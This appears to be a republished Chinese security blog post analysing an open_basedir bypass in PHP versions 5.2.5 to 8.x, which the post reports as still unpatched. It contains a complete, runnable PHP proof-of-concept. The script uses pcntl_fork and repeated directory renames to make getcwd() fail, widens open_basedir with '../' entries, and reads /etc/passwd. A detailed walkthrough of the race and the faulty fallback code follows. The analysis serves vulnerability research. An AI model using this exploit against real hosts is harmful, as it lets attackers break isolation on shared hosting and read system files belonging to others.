文章总结: 文档分析PHP5.2.5至8.6版本中存在的openbasedir绕过漏洞,该漏洞利用getcwd()函数在竞态条件下失败的回退机制,通过创建超长目录路径并配合父进程重命名操作触发路径解析错误,使相对路径…/被错误判定为合法路径。攻击者可利用pcntlfork()在共享主机环境中逐步追加目录权限,最终突破隔离限制访问系统文件。文章提供完整PoC代码和分步原理说明,但漏洞尚未被官方修复。 综合评分: 87 文章分类: 漏洞分析,WEB安全,渗透测试,PHP安全,安全开发
php5.2.5-8.6通用bypass open_basedir
原创
秋风 秋风
秋风的安全之路
2026年5月7日 14:20 广东
在小说阅读器读本章
去阅读
作者:秋风
感谢我的好朋友LamentXU 看到这个issues分享给我 嘻嘻
https://github.com/php/php-src/issues/21961
PHP open_basedir 绕过漏洞分析:getcwd() 失败竞态条件
影响版本
| | | | — | — | | 范围 | 版本 | | 引入 | PHP 5.2.5 (2007-11-08),提交 00922630305f | | 影响 | PHP 5.2.5 ~ 当前所有版本(5.3.x、5.4.x、5.5.x、5.6.x、7.0~7.4、8.0~8.5、master) | | 修复 | 尚未合并(PR #21962 状态为 Open) |
漏洞代码存在约 19 年,从 2007 年到现在的所有 PHP 版本均受影响。
利用条件
1.open_basedir 已配置 — 目标 PHP 环境通过 php.ini 或 vhost 设置了 open_basedir 限制
2.可执行任意 PHP 代码 — 攻击者能在受限环境中运行 PHP 脚本(典型场景:共享主机)
3.pcntl_fork() 可用 — 需要 pcntl 扩展来创建子进程实施竞态(CLI 模式默认加载该扩展)
4.Linux 系统 — MAXPATHLEN=4096;macOS 上为 1024,需调整目录深度参数
5.可写目录 — 需要在 open_basedir 允许的路径内拥有写权限以创建深层目录结构
#
漏洞原理
核心调用链
#
ini_set('open_basedir', '....:../') → OnUpdateBaseDir() → expand_filepath("../", ...) → VCWD_GETCWD() ← 被竞态导致失败 → 回退逻辑: VCWD_OPEN("../") 成功 → 返回未解析的 "../" → php_check_open_basedir_ex("../") ← "../" 被错误判定为合法子路径 → open_basedir 被追加 "../"
EXP:
<?phperror_reporting(0);echo "=== PHP open_basedir Bypass PoC (php-src#21961) ===\n";echo "PHP Version: " . phpversion() . "\n";echo "open_basedir: " . ini_get("open_basedir") . "\n\n";echo "[*] 正常情况下读取 /etc/passwd:\n";$test = @file_get_contents("/etc/passwd");echo $test ? "成功(不应出现)\n" : "失败: open_basedir 限制生效\n";echo "\n";echo "[*] 开始利用竞态条件绕过 open_basedir...\n";chdir("/tmp");@mkdir("poc/");chdir("poc/");$magic_depth = str_repeat(str_repeat("a", 249) . "/", 16);@mkdir($magic_depth, 0755, true);chdir($magic_depth);$pid = pcntl_fork();if ($pid == -1) die("fork 失败\n");if ($pid == 0) { for ($i = 0; $i < 20; $i++) { $cur = @ini_get("open_basedir"); @ini_set("open_basedir", $cur . ":../"); } @chdir("/tmp"); @chdir("../"); $passwd = @file_get_contents("etc/passwd"); if (!$passwd) { echo "[-] 本次未命中竞态窗口\n"; exit(1); } echo "[+] 绕过成功!当前 open_basedir 已被拓宽至根目录\n"; echo "[+] /etc/passwd 内容(前5行):\n\n"; $lines = explode("\n", $passwd); for ($i = 0; $i < min(5, count($lines)); $i++) { echo " " . $lines[$i] . "\n"; } echo " ...\n"; exit(0);} else { chdir("/tmp"); for ($i = 0; $i < 3000; $i++) { @rename("poc", str_repeat("x", 250)); @rename(str_repeat("x", 250), "poc"); } pcntl_waitpid($pid, $status);}
分步分析
第一步:构造超长工作目录路径
$magic_depth = str_repeat(str_repeat("a", 249) . "/", 16);// 每层 250 字节 × 16 层 = 4000 字节,接近 MAXPATHLEN(4096)mkdir($magic_depth, 0755, true);chdir($magic_depth);
子进程的工作目录路径变为 /tmp/poc/aaa…a/aaa…a/…/aaa…a(约 4000+ 字节)。
第二步:竞态触发 getcwd() 失败
父进程反复重命名顶层目录:
// 父进程 rename(“poc”, str_repeat(“x”, 250)); // 目录名从 3 字节 → 250 字节 rename(str_repeat(“x”, 250), “poc”); // 恢复原名
当目录名从 poc(3 字节)被改为 xxx…x(250 字节)时:
- 子进程的实际工作目录路径变为约 4247 字节,超过 MAXPATHLEN(4096)
- 此时子进程调用 VCWD_GETCWD() → 缓冲区不够 → 返回 NULL
第三步:expand_filepath() 的错误回退
main/fopen_wrappers.c 第 809-828 行
result = VCWD_GETCWD(cwd, MAXPATHLEN); // ← 失败,result = NULLif (!result && (iam != filepath)) { fdtest = VCWD_OPEN(filepath, O_RDONLY); // 用相对路径 "../" 尝试打开 if (fdtest != -1) { // 直接返回未解析的相对路径 "../" memcpy(real_path, filepath, copy_len); return real_path; // ← 返回 "../" 而非绝对路径 }}
关键问题:
-
VCWD_GETCWD()
失败后,函数没有报错返回,而是尝试用 VCWD_OPEN() 直接打开文件
-
此时父进程已经把目录名改回 poc,工作目录路径又变短了,VCWD_OPEN(“../”)成功
-
函数返回了未经解析的相对路径 “../”
第四步:绕过 open_basedir 检查
// OnUpdateBaseDir() 中expand_filepath("../", resolved_name); // resolved_name = "../"php_check_open_basedir_ex("../", 0); // "../" 被判定为当前目录的子路径 → 检查通过!
php_check_open_basedir_ex() 对 “../” 做前缀匹配时:
-
当前 open_basedir 包含 /tmp 的子路径
-
“../”
长度太短,不会触发匹配失败(实现上是检查 resolved_name 是否以 basedir 路径为前缀)
-
../
作为相对路径在此检查中被错误放行
第五步:逐级提升目录权限
for ($i = 0; $i < 20; $i++) { ini_set("open_basedir", ini_get("open_basedir") . ":../");}
每次循环追加一个 ../,积累足够的 ../ 后:
chdir("/tmp");chdir("../"); // 当前目录变为 /file_get_contents("etc/passwd"); // 成功读取 /etc/passwd
竞态窗口时序图
时间线 ├─ 父进程: rename("poc" → "xxx...x") ← 工作目录路径超长 │ │ │ ├─ 子进程: VCWD_GETCWD() 失败! ← 命中竞态窗口 │ │ ├─ 父进程: rename("xxx...x" → "poc") ← 工作目录路径恢复 │ │ │ ├─ 子进程: VCWD_OPEN("../") 成功 ← 文件可访问 │ ├─ 子进程: expand_filepath 返回 "../" │ ├─ 子进程: open_basedir 检查通过 │ ├─ 重复 3000 次...
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:秋风的安全之路 秋风 秋风《php5.2.5-8.6通用bypass open_basedir》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论